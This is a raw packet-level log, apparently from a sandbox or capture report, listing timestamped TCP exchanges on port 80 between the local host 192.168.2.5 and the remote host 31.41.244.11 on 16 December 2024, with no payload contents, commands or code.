Dec 16, 2024 09:01:29.999126911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.999167919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.999212980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.000133038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.000188112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.000230074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.000323057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.001204014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.001266003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.001355886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.001411915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.002202988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.002298117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.002332926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.002383947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.003273964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.003353119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.003407001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.003456116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.004307032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.004374981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.004410982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.004472017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.005347013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.005398989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.005439997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.005490065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.006473064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.006529093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.006578922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.007474899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.007577896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.007606030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.007622004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.008503914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.008622885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.008625031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.008663893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.009553909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.009599924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.009640932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.009701014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.010585070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.010634899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.010689020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.010929108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.011651993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.011714935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.011755943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.011806011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.012696981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.012798071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.012805939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.012852907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.013729095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.013777971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.013818979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.013890028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.014813900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.014866114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.014894009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.014944077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.015818119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.015862942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.015913963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.015974998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.016901970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.016946077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.017008066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.017062902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.017950058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.018007994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.018049955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.018111944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.019088984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.019110918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.019139051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.019154072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.020076036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.020153046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.020256996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.020307064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.021102905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.021152020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.021173954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.021234035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.022149086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.022197962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.022232056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.022284031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.023159027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.023210049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.023273945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.023328066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.024205923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.024257898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.162352085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.162595034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.162674904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.162875891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.162924051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.163017035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.163394928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.163933992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.164100885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.164144993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.164880037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.164906979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.164932013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.164959908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.165684938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.165731907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.165740013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.165771961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.166366100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.166479111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.166524887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.167429924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.167481899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.167551994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.167602062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.168483973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.168530941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.168569088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.168612957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.169511080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.169620991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.169675112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.170588970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.170640945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.170700073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.170763016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.171658039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.171709061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.171740055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.171787024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.172698975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.172779083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.172784090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.172822952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.173752069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.173808098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.173849106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.173901081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.174762011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.174858093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.174906015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.175832987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.175880909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.175954103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.175997972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.176875114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.176934958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.177026033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.177078962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.177903891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.177963018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.178009987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.178361893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.178965092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.179022074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.179088116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.179147005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.180006027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.180063963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.180095911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.180131912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.181102037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.181148052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.181262016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.181305885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.182189941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.182317972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.182364941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.183149099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.183195114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.183345079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.183386087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.184187889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.184232950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.184286118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.184326887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.185251951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.185293913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.185326099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.185365915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.186362028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.186405897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.186446905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.187344074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.187387943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.187619925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.187661886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.188383102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.188424110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.188473940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.188513041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.189409018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.189452887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.189516068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.189558983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.190568924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.190665007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.190715075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.191560030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.191603899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.191622972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.191667080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.192606926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.192651987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.192698956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.192744970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.193662882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.193710089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.193792105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.193837881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.194710016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.194768906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.194818020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.195714951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.195765972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.195849895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.195899963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.196840048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.196888924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.196919918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.196976900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.197799921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.197875977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.197927952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.198846102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.198896885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.199227095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.199270964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.199932098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.199982882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.200067043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.200273037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.200934887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.200980902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.201141119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.201214075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.201996088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.202100992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.202152014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.203105927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.203152895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.203157902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.203195095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.204111099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.204153061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.204193115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.204236984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.205143929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.205188036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.205255985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.205300093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.206259966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.206361055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.206410885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.207241058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.207287073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.207357883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.207415104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.208295107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.208389997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.208437920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.209336996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.209407091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.209440947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.209498882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.210395098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.210582972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.210639954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.211493015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.211539984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.211555958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.211582899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.212470055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.212522030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.212591887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.212634087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.213566065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.213686943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.213731050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.214553118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.214596987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.214636087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.214679956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.215624094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.215681076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.215717077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.215766907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.216583967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.216630936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.353763103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.353903055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.353969097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.354260921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.354319096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.354326963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.354378939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.355331898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.355387926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.355462074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.355514050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.356400967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.356452942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.356522083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.356575966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.357404947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.357459068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.357523918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.357578039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.358527899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.358580112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.358623981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.358674049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.359586954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.359638929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.359656096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.359707117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.360569954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.360622883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.360666037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.360718012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.361612082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.361716032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.361747980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.361778975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.362643003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.362694979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.362762928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.362814903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.363684893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.363742113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.363791943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.363847017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:30.364763975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:30.364824057 CET	49866	80	192.168.2.5	31.41.244.11
